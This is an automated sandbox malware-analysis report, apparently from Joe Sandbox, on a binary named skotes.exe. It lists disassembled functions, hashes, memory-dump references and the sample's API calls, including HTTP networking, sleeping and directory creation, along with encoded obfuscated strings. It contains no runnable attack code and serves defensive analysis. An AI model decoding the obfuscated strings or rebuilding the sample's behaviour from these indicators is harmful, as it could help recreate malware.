Associated: 00000003.00000002.2256066496.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256086867.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: b68bb58100317552435169733ff71b79f067e80aefb71bdb5842e71267e93264
Instruction ID: ddce9aae9a9ad805a1a51d2a5b2b223544a44cc7f7aa1e2746412328fc8fac43
Opcode Fuzzy Hash: b68bb58100317552435169733ff71b79f067e80aefb71bdb5842e71267e93264
Instruction Fuzzy Hash: 4E214F79A00109AFDF40EFA5CD82EBEB7B9EF08714F10005EF505A7291DB389D019BA5

Function 004EF35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 004EF3A3

Strings

8"Q, xrefs: 004EF44B
`'Q, xrefs: 004EF375

Memory Dump Source

Source File: 00000003.00000002.2255040928.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000003.00000002.2255023333.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255040928.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255122603.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255144312.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255165055.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255269240.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255290722.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255361596.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255381611.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255406195.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255426205.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255453770.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255472891.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255491700.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255512749.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255538197.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255562117.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255584843.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255608590.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255627690.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255650036.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255672448.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255693811.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255714377.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255733903.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255753221.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255771448.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255792389.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255813225.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255831706.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255902328.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255920837.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255940717.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255962782.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255984178.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256014839.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256038782.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256066496.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256086867.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"Q$`'Q
API String ID: 3903695350-3906557507
Opcode ID: 70d60bed83a78e2ee43912ca4cb624afbdb0ce1bd6b22ac7f1c6b6f4f3501fd7
Instruction ID: aaf282b0f47a3840ef6044d5e89ba4be529962909687f86ab90450a807c8c15b
Opcode Fuzzy Hash: 70d60bed83a78e2ee43912ca4cb624afbdb0ce1bd6b22ac7f1c6b6f4f3501fd7
Instruction Fuzzy Hash: 0F316931600781EFEB21AA3BD845B5B73EAFF0031BF10442BE445D6691DE78A8948A29

Analysis Process: skotes.exePID: 5236, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	6.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.5%
Total number of Nodes:	1101
Total number of Limit Nodes:	111

Executed Functions

Function 004BE530 Relevance: 25.5, APIs: 2, Strings: 12, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

UA==, xrefs: 004BEB0F, 004BED56
MGE+, xrefs: 004BE821
WTw=, xrefs: 004C097D
111, xrefs: 004BF7A0
WTs=, xrefs: 004C05CA
WDw=, xrefs: 004BF71D, 004BF9FA
MQ==, xrefs: 004BE592
L1Q, xrefs: 004BF7E5
GnNoc2Hc, xrefs: 004BE56C
9c9aa5, xrefs: 004BFB8E
246122658369, xrefs: 004BF737, 004BFA14, 004C05E7, 004C099A
#, xrefs: 004C0624

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$L1Q$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-1755468323
Opcode ID: 9ea2fb71d1d071d2ef574d04103284634f2401250d3eec4d2803372541ffb214
Instruction ID: 08e44322fd0ecd965c0e87ab27c7e6d6dbd2d00c30d6f425d367895752c49584
Opcode Fuzzy Hash: 9ea2fb71d1d071d2ef574d04103284634f2401250d3eec4d2803372541ffb214
Instruction Fuzzy Hash: D682F770904288DBEF14DF69C949BDE7FB5AB46308F50858EE805273C2C7795A88CBD6

Function 004F2517 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 374
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00506758), ref: 004F275C

Strings

XgP, xrefs: 004F2705, 004F270B
Eastern Standard Time, xrefs: 004F27CB
Eastern Summer Time, xrefs: 004F27FA

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$XgP
API String ID: 565725191-3209624506
Opcode ID: 0fbe5b2d1137a274c2754933e13a7e32a84e1d098e2d600e3c46cfbc68bf6d25
Instruction ID: 03069d54ce7decd9b8e4d8c68d62ed50aec9bd2573847673434d03ebf34407f7
Opcode Fuzzy Hash: 0fbe5b2d1137a274c2754933e13a7e32a84e1d098e2d600e3c46cfbc68bf6d25
Instruction Fuzzy Hash: C7C16675A0020CABEB10AF298E51AFB7BA9EF55314F14445FE680D7392E7B88E05C758

Function 004BEB4E Relevance: 31.9, APIs: 3, Strings: 14, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 004BEB51
CreateDirectoryA.KERNEL32(00000000), ref: 004BEC83
GetFileAttributesA.KERNEL32(00000000), ref: 004BED98

Strings

UA==, xrefs: 004BEC41, 004BED56, 004BEF89, 004BF2CE
FisgLnsCZO1i, xrefs: 004BFF19
WDw=, xrefs: 004BF71D, 004BF9FA, 004BFDE3
GiQaT29tduF=, xrefs: 004BFEB6
FCQgKF==, xrefs: 004BFEE4
invalid stoi argument, xrefs: 004C08B0
stoi argument out of range, xrefs: 004C08C4
111, xrefs: 004BF7A0
WTs=, xrefs: 004C05CA
L1Q, xrefs: 004BF7E5
9c9aa5, xrefs: 004BFB8E
246122658369, xrefs: 004BF737, 004BFA14, 004BFE00, 004C05E7
#, xrefs: 004C0624
mxo1L0x, xrefs: 004BEE84

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$L1Q$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-1753142530
Opcode ID: c0865eafeea8cdfa8a2f8b809cd538b215af57a77fa60e4b2e8e7f818c87c58d
Instruction ID: b68777164552c2e38240f3866dbd70b8d42c99dafa3c871c2a7600fce7932bd8
Opcode Fuzzy Hash: c0865eafeea8cdfa8a2f8b809cd538b215af57a77fa60e4b2e8e7f818c87c58d
Instruction Fuzzy Hash: 80F22C71A001449BEB18DB38CD89BDDBB729F82304F1481AEE409973D6DB3D9AC5CB65

Function 004BBE30 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 313
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,0667AB08,?,00000000), ref: 004BBEB8
InternetOpenW.WININET(00508DC8,00000000,00000000,00000000,00000000), ref: 004BBEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 004BBEEC
HttpOpenRequestA.WININET(?,00000000), ref: 004BBF35
HttpSendRequestA.WININET(?,00000000), ref: 004BBFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 004BC0A8
InternetReadFile.WININET(?,00000000,000003FF,?,?,00000000,?,?), ref: 004BC161
InternetCloseHandle.WININET(?), ref: 004BC187
InternetCloseHandle.WININET(?), ref: 004BC18F
InternetCloseHandle.WININET(?), ref: 004BC197

Strings

RE1NXF==, xrefs: 004BBF0E
8HJUeIfzLo==, xrefs: 004BC3CB, 004BC623
invalid stoi argument, xrefs: 004BE4F4
stoi argument out of range, xrefs: 004BE4EA
8HJUeMD Lq5=, xrefs: 004BC465

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
